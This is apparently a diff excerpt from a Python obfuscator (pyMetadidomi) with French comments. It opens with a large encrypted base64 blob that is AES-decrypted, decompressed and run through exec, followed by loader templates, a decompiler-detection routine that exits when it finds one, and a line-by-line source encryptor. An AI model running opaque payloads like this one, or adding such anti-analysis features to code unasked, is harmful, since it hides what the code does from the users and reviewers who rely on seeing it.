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")
|
|
7
|
+
key = base64.b64decode("QYQgQsUQjhrbjHKMMOBMJnLqkqXchIMCEbc66ufJI/M=")
|
|
8
|
+
iv = base64.b64decode("nMR7yBWllZkcALjf60SsCA==")
|
|
9
|
+
def unpad(data):
|
|
10
|
+
return data[:-data[-1]]
|
|
975
11
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
976
|
-
|
|
977
|
-
|
|
978
|
-
|
|
979
|
-
|
|
980
|
-
|
|
981
|
-
|
|
982
|
-
|
|
983
|
-
|
|
984
|
-
'# --- Loader natif par pyMetadidomi (pymloader) ---\n'
|
|
985
|
-
'import base64, zlib, marshal\n'
|
|
986
|
-
'from Crypto.Cipher import AES\n'
|
|
987
|
-
'try:\n'
|
|
988
|
-
' import pymloader\n'
|
|
989
|
-
' payload = base64.b64decode("{}")\n'
|
|
990
|
-
' key = base64.b64decode("{}")\n'
|
|
991
|
-
' iv = base64.b64decode("{}")\n'
|
|
992
|
-
' def unpad(data):\n'
|
|
993
|
-
' return data[:-data[-1]]\n'
|
|
994
|
-
' cipher = AES.new(key, AES.MODE_CBC, iv)\n'
|
|
995
|
-
' decrypted = unpad(cipher.decrypt(payload))\n'
|
|
996
|
-
' bytecode = zlib.decompress(decrypted)\n'
|
|
997
|
-
' pymloader.exec_bytecode(bytecode)\n'
|
|
998
|
-
'except ImportError:\n'
|
|
999
|
-
' bytecode = zlib.decompress(decrypted)\n'
|
|
1000
|
-
' code = marshal.loads(bytecode)\n'
|
|
1001
|
-
' exec(code)\n'
|
|
1002
|
-
'# --- Fin du loader natif ---\n'
|
|
1003
|
-
).format(b64, b64_key, b64_iv)
|
|
1004
|
-
else:
|
|
1005
|
-
# Fallback : loader AES Python pur (sans module natif)
|
|
1006
|
-
loader = (
|
|
1007
|
-
'# --- Loader AES Python par pyMetadidomi (fallback) ---\n'
|
|
1008
|
-
'import base64, zlib, marshal\n'
|
|
1009
|
-
'from Crypto.Cipher import AES\n'
|
|
1010
|
-
f'payload = base64.b64decode("{b64}")\n'
|
|
1011
|
-
f'key = base64.b64decode("{b64_key}")\n'
|
|
1012
|
-
f'iv = base64.b64decode("{b64_iv}")\n'
|
|
1013
|
-
'def unpad(data):\n'
|
|
1014
|
-
' return data[:-data[-1]]\n'
|
|
1015
|
-
'cipher = AES.new(key, AES.MODE_CBC, iv)\n'
|
|
1016
|
-
'decrypted = unpad(cipher.decrypt(payload))\n'
|
|
1017
|
-
'bytecode = zlib.decompress(decrypted)\n'
|
|
1018
|
-
'code = marshal.loads(bytecode)\n'
|
|
1019
|
-
'exec(code)\n'
|
|
1020
|
-
'# --- Fin du loader AES ---\n'
|
|
1021
|
-
)
|
|
1022
|
-
return loader
|
|
1023
|
-
|
|
1024
|
-
def anti_decompile_protection(code):
|
|
1025
|
-
"""Protection contre les décompilateurs courants"""
|
|
1026
|
-
|
|
1027
|
-
protection = """
|
|
1028
|
-
import sys
|
|
1029
|
-
|
|
1030
|
-
# Protection contre les décompilateurs spécifiques
|
|
1031
|
-
def detect_decompiler():
|
|
1032
|
-
# Modules dangereux connus (décompilateurs réels)
|
|
1033
|
-
decompiler_modules = [
|
|
1034
|
-
'uncompyle6', 'decompyle3', 'pycdc', 'pycdas', 'xdis'
|
|
1035
|
-
]
|
|
1036
|
-
|
|
1037
|
-
for module in decompiler_modules:
|
|
1038
|
-
if module in sys.modules:
|
|
1039
|
-
return True
|
|
1040
|
-
|
|
1041
|
-
# Vérification des noms de processus
|
|
1042
|
-
try:
|
|
1043
|
-
import psutil
|
|
1044
|
-
decompiler_processes = ['uncompyle', 'decompyle', 'pycdc', 'xdis', 'decompiler']
|
|
1045
|
-
for proc in psutil.process_iter(['name']):
|
|
1046
|
-
if any(name in proc.info['name'].lower() for name in decompiler_processes):
|
|
1047
|
-
return True
|
|
1048
|
-
except:
|
|
1049
|
-
pass
|
|
1050
|
-
|
|
1051
|
-
return False
|
|
1052
|
-
|
|
1053
|
-
if detect_decompiler():
|
|
1054
|
-
try:
|
|
1055
|
-
import tkinter as tk
|
|
1056
|
-
from tkinter import messagebox
|
|
1057
|
-
root = tk.Tk()
|
|
1058
|
-
root.withdraw()
|
|
1059
|
-
messagebox.showerror("Sécurité", "Décompilation détectée")
|
|
1060
|
-
root.destroy()
|
|
1061
|
-
except:
|
|
1062
|
-
print("Décompilation détectée")
|
|
1063
|
-
sys.exit(1)
|
|
1064
|
-
"""
|
|
1065
|
-
return protection + code
|
|
1066
|
-
|
|
1067
|
-
class Encryption:
|
|
1068
|
-
# Classe pour chiffrer/déchiffrer le code avec AES
|
|
1069
|
-
|
|
1070
|
-
def __init__(self, key):
|
|
1071
|
-
self.bs = AES.block_size
|
|
1072
|
-
self.key = hashlib.sha256(key).digest()
|
|
1073
|
-
|
|
1074
|
-
def encrypt(self, raw):
|
|
1075
|
-
# Chiffre une ligne de code
|
|
1076
|
-
try:
|
|
1077
|
-
# S'assurer que raw est une string
|
|
1078
|
-
if not isinstance(raw, str):
|
|
1079
|
-
raw = str(raw)
|
|
1080
|
-
|
|
1081
|
-
# Convertir en bytes d'abord, puis appliquer le padding
|
|
1082
|
-
raw_bytes = raw.encode('utf-8')
|
|
1083
|
-
raw_padded = self._pad_bytes(raw_bytes)
|
|
1084
|
-
|
|
1085
|
-
# Générer IV et chiffrer
|
|
1086
|
-
iv = Random.new().read(AES.block_size)
|
|
1087
|
-
cipher = AES.new(self.key, AES.MODE_CBC, iv)
|
|
1088
|
-
|
|
1089
|
-
# Chiffrer les données
|
|
1090
|
-
encrypted_data = cipher.encrypt(raw_padded)
|
|
1091
|
-
|
|
1092
|
-
# Retourner en base64
|
|
1093
|
-
return base64.b64encode(iv + encrypted_data).decode('utf-8')
|
|
1094
|
-
except Exception as e:
|
|
1095
|
-
try:
|
|
1096
|
-
import tkinter as tk
|
|
1097
|
-
from tkinter import messagebox
|
|
1098
|
-
root = tk.Tk()
|
|
1099
|
-
root.withdraw()
|
|
1100
|
-
messagebox.showerror("Erreur Chiffrement", f"Erreur lors du chiffrement: {e}\nLongueur: {len(raw)}")
|
|
1101
|
-
root.destroy()
|
|
1102
|
-
except:
|
|
1103
|
-
print(f"Erreur lors du chiffrement: {e}")
|
|
1104
|
-
print(f"Longueur des données: {len(raw)}")
|
|
1105
|
-
return ""
|
|
1106
|
-
|
|
1107
|
-
def _pad_bytes(self, s):
|
|
1108
|
-
# Ajoute du padding PKCS7 à des bytes
|
|
1109
|
-
padding_length = self.bs - len(s) % self.bs
|
|
1110
|
-
if padding_length == 0:
|
|
1111
|
-
padding_length = self.bs
|
|
1112
|
-
padding = bytes([padding_length]) * padding_length
|
|
1113
|
-
return s + padding
|
|
1114
|
-
|
|
1115
|
-
def write(self, key, source):
|
|
1116
|
-
# Écrit le code chiffré dans un format lisible avec décrypteur embarqué
|
|
1117
|
-
wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
|
|
1118
|
-
newcode = f"{wall}{key}{wall}"
|
|
1119
|
-
|
|
1120
|
-
# Vérifier que source est une string
|
|
1121
|
-
if not isinstance(source, str):
|
|
1122
|
-
source = str(source)
|
|
1123
|
-
|
|
1124
|
-
for line in source.split("\n"):
|
|
1125
|
-
encrypted_line = self.encrypt(line)
|
|
1126
|
-
if encrypted_line: # Vérifier que le chiffrement a réussi
|
|
1127
|
-
newcode += encrypted_line + wall
|
|
1128
|
-
|
|
1129
|
-
# Décrypteur embarqué (obfusqué et intégré)
|
|
1130
|
-
decryptor = """
|
|
1131
|
-
import base64, hashlib, os, subprocess, tempfile, sys, re, json, datetime
|
|
1132
|
-
from Crypto.Cipher import AES
|
|
1133
|
-
|
|
1134
|
-
class PyMetadidomi:
|
|
1135
|
-
def __init__(self, key):
|
|
1136
|
-
self.bs = AES.block_size
|
|
1137
|
-
self.key = hashlib.sha256(key).digest()
|
|
1138
|
-
|
|
1139
|
-
def decrypt(self, enc):
|
|
1140
|
-
try:
|
|
1141
|
-
enc = base64.b64decode(str(enc))
|
|
1142
|
-
iv = enc[:AES.block_size]
|
|
1143
|
-
cipher = AES.new(self.key, AES.MODE_CBC, iv)
|
|
1144
|
-
decrypted = cipher.decrypt(enc[AES.block_size:])
|
|
1145
|
-
return self._unpad(decrypted).decode('utf-8')
|
|
1146
|
-
except:
|
|
1147
|
-
return ""
|
|
1148
|
-
|
|
1149
